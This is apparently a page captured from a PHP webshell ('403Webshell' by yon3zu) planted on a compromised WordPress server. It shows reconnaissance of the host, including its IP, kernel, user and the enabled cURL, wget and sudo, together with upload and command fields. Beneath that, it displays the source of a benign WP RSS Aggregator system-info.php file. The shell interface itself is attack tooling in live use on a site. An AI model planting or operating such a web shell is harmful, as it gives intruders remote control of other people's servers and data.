403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/newmandy/wp-content/wp-rss-aggregator/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/newmandy/wp-content/wp-rss-aggregator/includes/system-info.php
<?php
    /**
     * System information
     *
     * @package    WPRSSAggregator
     * @subpackage Includes
     * @since      3.1
     * @author     Jean Galea <[email protected]>
     * @copyright  Copyright (c) 2012-2015, Jean Galea. Adapted from Easy Digital Downloads by Pippin Williamson
     * @link       http://www.wprssaggregator.com/
     * @license    http://www.gnu.org/licenses/gpl.html
     */

    /**
     * Generate the system information
     * 
     * @since 3.1
     */ 
	function wprss_system_info() {
		global $wpdb;

	?>
            <h3><?php _e( 'System Information', WPRSS_TEXT_DOMAIN ) ?></h3>
            <?php
                    $form_url = admin_url( 'edit.php?post_type=wprss_feed&page=wprss-debugging' );
                    $nonce_url = wp_nonce_url( $form_url, 'wprss-sysinfo' );
            ?>
            <form action="<?php echo esc_url( $nonce_url ); ?>" method="post">
                    <textarea readonly="readonly" onclick="this.focus();this.select()" id="system-info-textarea" name="wprss-sysinfo" title="<?php _e( 'To copy the system info, click below then press Ctrl + C (PC) or Cmd + C (Mac).', WPRSS_TEXT_DOMAIN ); ?>"><?php wprss_print_system_info(); ?>
                    </textarea>
                    <p class="submit">
                        <input type="hidden" name="wprss-action" value="download_sysinfo" />
                        <button type="submit" class="button button-primary" id="wprss-download-sysinfo">
                        	<i class="fa fa-download"></i>
                        	<?php _e( 'Download System Info File', WPRSS_TEXT_DOMAIN ) ?>
                        </button>
                    </p>
            </form>

	<?php
	}


	/**
	 * Prints the system information
	 *
	 * @since 4.6.8
	 */
	function wprss_print_system_info() {
            global $wpdb;
            
            if ( ! class_exists( 'Browser' ) )
                require_once WPRSS_DIR . 'includes/libraries/browser.php';

            $browser = new Browser();
            
?>
### Begin System Info ###

## Please include this information when posting support requests ##

Multi-site:               <?php echo is_multisite() ? 'Yes' . "\n" : 'No' . "\n" ?>

SITE_URL:                 <?php echo site_url() . "\n"; ?>
HOME_URL:                 <?php echo home_url() . "\n"; ?>

Plugin Version:           <?php echo WPRSS_VERSION . "\n"; ?>
WordPress Version:        <?php echo get_bloginfo( 'version' ) . "\n"; ?>

<?php echo $browser ; ?>

PHP Version:              <?php echo PHP_VERSION . "\n"; ?>
MySQL Version:            <?php if ( $server_info = wprss_sysinfo_get_db_server() )
									echo sprintf( '%1$s (%2$s)', $server_info['server_info'], $server_info['extension'] );
								else
									_e( 'Could not determine database driver version', WPRSS_TEXT_DOMAIN );
						  ?>

Web Server Info:          <?php echo $_SERVER['SERVER_SOFTWARE'] . "\n"; ?>

PHP Safe Mode:            <?php echo ini_get( 'safe_mode' ) ? "Yes" : "No\n"; ?>
PHP Memory Limit:         <?php echo ini_get( 'memory_limit' ) . "\n"; ?>
PHP Post Max Size:        <?php echo ini_get( 'post_max_size' ) . "\n"; ?>
PHP Time Limit:           <?php echo ini_get( 'max_execution_time' ) . "\n"; ?>

WP_DEBUG:                 <?php echo defined( 'WP_DEBUG' ) ? WP_DEBUG ? 'Enabled' . "\n" : 'Disabled' . "\n" : 'Not set' . "\n" ?>

WP Table Prefix:          <?php echo "Length: ". strlen( $wpdb->prefix ); echo " Status:"; if ( strlen( $wpdb->prefix )>16 ) {echo " ERROR: Too Long";} else {echo " Acceptable";} echo "\n"; ?>

Show On Front:            <?php echo get_option( 'show_on_front' ) . "\n" ?>
Page On Front:            <?php $id = get_option( 'page_on_front' ); echo get_the_title( $id ) . ' #' . $id . "\n" ?>
Page For Posts:           <?php $id = get_option( 'page_on_front' ); echo get_the_title( $id ) . ' #' . $id . "\n" ?>

Session:                  <?php echo isset( $_SESSION ) ? 'Enabled' : 'Disabled'; ?><?php echo "\n"; ?>
Session Name:             <?php echo esc_html( ini_get( 'session.name' ) ); ?><?php echo "\n"; ?>
Cookie Path:              <?php echo esc_html( ini_get( 'session.cookie_path' ) ); ?><?php echo "\n"; ?>
Save Path:                <?php echo esc_html( ini_get( 'session.save_path' ) ); ?><?php echo "\n"; ?>
Use Cookies:              <?php echo ini_get( 'session.use_cookies' ) ? 'On' : 'Off'; ?><?php echo "\n"; ?>
Use Only Cookies:         <?php echo ini_get( 'session.use_only_cookies' ) ? 'On' : 'Off'; ?><?php echo "\n"; ?>

UPLOAD_MAX_FILESIZE:      <?php if ( function_exists( 'phpversion' ) ) echo ( wprss_let_to_num( ini_get( 'upload_max_filesize' ) )/( 1024*1024 ) )."MB"; ?><?php echo "\n"; ?>
POST_MAX_SIZE:            <?php if ( function_exists( 'phpversion' ) ) echo ( wprss_let_to_num( ini_get( 'post_max_size' ) )/( 1024*1024 ) )."MB"; ?><?php echo "\n"; ?>
WordPress Memory Limit:   <?php echo ( wprss_let_to_num( WP_MEMORY_LIMIT )/( 1024*1024 ) )."MB"; ?><?php echo "\n"; ?>
DISPLAY ERRORS:           <?php echo ( ini_get( 'display_errors' ) ) ? 'On (' . ini_get( 'display_errors' ) . ')' : 'N/A'; ?><?php echo "\n"; ?>
FSOCKOPEN:                <?php echo ( function_exists( 'fsockopen' ) ) ? __( 'Your server supports fsockopen.', WPRSS_TEXT_DOMAIN ) : __( 'Your server does not support fsockopen.', WPRSS_TEXT_DOMAIN ); ?><?php echo "\n"; ?>

ACTIVE PLUGINS:

<?php
$plugins = get_plugins();
$active_plugins = get_option( 'active_plugins', array() );
$inactive_plugins = array();
foreach ( $plugins as $plugin_path => $plugin ):
	// If the plugin isn't active, don't show it.
	if ( ! in_array( $plugin_path, $active_plugins ) ) {
		$inactive_plugins[] = $plugin;
		continue;
	}

echo $plugin['Name']; ?>: <?php echo $plugin['Version'] ."\n";

endforeach; 

if ( is_multisite() ) :
?>

NETWORK ACTIVE PLUGINS:

<?php
$plugins = wp_get_active_network_plugins();
$active_plugins = get_site_option( 'active_sitewide_plugins', array() );

foreach ( $plugins as $plugin_path ) {
	$plugin_base = plugin_basename( $plugin_path );

	// If the plugin isn't active, don't show it.
	if ( ! array_key_exists( $plugin_base, $active_plugins ) )
		continue;

	$plugin = get_plugin_data( $plugin_path );

	echo $plugin['Name'] . ': ' . $plugin['Version'] ."\n";
}

endif; 

if ( ! is_multisite() ) : ?>

DEACTIVATED PLUGINS:

<?php

foreach ( $inactive_plugins as $inactive_plugin ):

echo $inactive_plugin['Name']; ?>: <?php echo $inactive_plugin['Version'] ."\n";

endforeach; 

endif; ?>

CURRENT THEME:

<?php
if ( get_bloginfo( 'version' ) < '3.4' ) {
	$theme_data = get_theme_data( get_stylesheet_directory() . '/style.css' );
	echo $theme_data['Name'] . ': ' . $theme_data['Version'];
} else {
	$theme_data = wp_get_theme();
	echo $theme_data->Name . ': ' . $theme_data->Version;
}
?>


### End System Info ###
<?php
	}


	/**
	 * Generates the System Info Download File
	 *
	 * @since 3.1
	 * @return void
	 */
	function wprss_generate_sysinfo_download() {
		nocache_headers();

		check_admin_referer('wprss-sysinfo');
		
		header( "Content-type: text/plain" );
		header( 'Content-Disposition: attachment; filename="wprss-system-info.txt"' );

		echo wp_strip_all_tags( $_POST['wprss-sysinfo'] );
		exit;
	}
	add_action( 'wprss_download_sysinfo', 'wprss_generate_sysinfo_download' );


	/**
	 * Retrieves information about the DB server.
	 * 
	 * Will use WordPress configuration by default;
	 * Currently, the following members are present in the result:
	 *  - 'extension': The extension that is used to connect. Possible values: 'mysqli', 'mysql'.
	 *  - 'server_info': The version number of the database engine, i.e. '5.6.22'.
	 * 
	 * @since 4.7.2
	 * @param null|string $host The address of the database host, to which to connect.
	 *	May contain the port number in standard URI format.
	 *  Default: value of the DB_HOST constant, if defined, otherwise null.
	 * @param null|string $username The username to be used for connecting to the databse.
	 *  Default: value of the DB_USER constant, if defined, otherwise null.
	 * @param null|string $password The password to be used for connecting to the database.
	 *	Default: value of the DB_PASSWORD constant, if defined, otherwise null.
	 * @param null|int $port An integer, representing the port, at which to connect to the DB server.
	 *	Default: auto-determined from host.
	 * @return array|null An array, containing the following indexes, if successful: 'extension', 'server_info'.
	 *	Otherwise, null.
	 */
	function wprss_sysinfo_get_db_server( $host = null, $username = null, $password = null, $port = null ) {
		$result = array();
		
		if ( is_null( $host ) && defined( 'DB_HOST') ) $host = DB_HOST;
		if ( is_null( $username ) && defined( 'DB_USER') ) $username = DB_USER;
		if ( is_null( $password ) && defined( 'DB_PASSWORD') ) $password = DB_PASSWORD;
		
		$server_address = explode( ':', $host, 2 );
		$host = $server_address[0];
		$port = is_null( $port )
			? ( isset( $server_address[1] ) ? $server_address[1] : null )
			: $port;
		$port = $port ? intval( (string)$port ) : null;
		
		if ( function_exists( 'mysqli_get_server_info' ) ){
			$mysqli = new mysqli( $host, $username, $password, '', $port );
			$result['extension'] = 'mysqli';
			$result['server_info'] = $mysqli->server_info;
			return $result;
		}
		
		if ( function_exists( 'mysql_connect' ) ) {
			if ( $port ) $host = implode ( ':', array( $host, $port ) );
			
			$mysql = mysql_connect( $host, $username, $password );
			$result['extension'] = 'mysql';
			$result['server_info'] = mysql_get_server_info( $mysql );
			return $result;
		}
		
		return null;
	}

Youez - 2016 - github.com/yon3zu
LinuXploit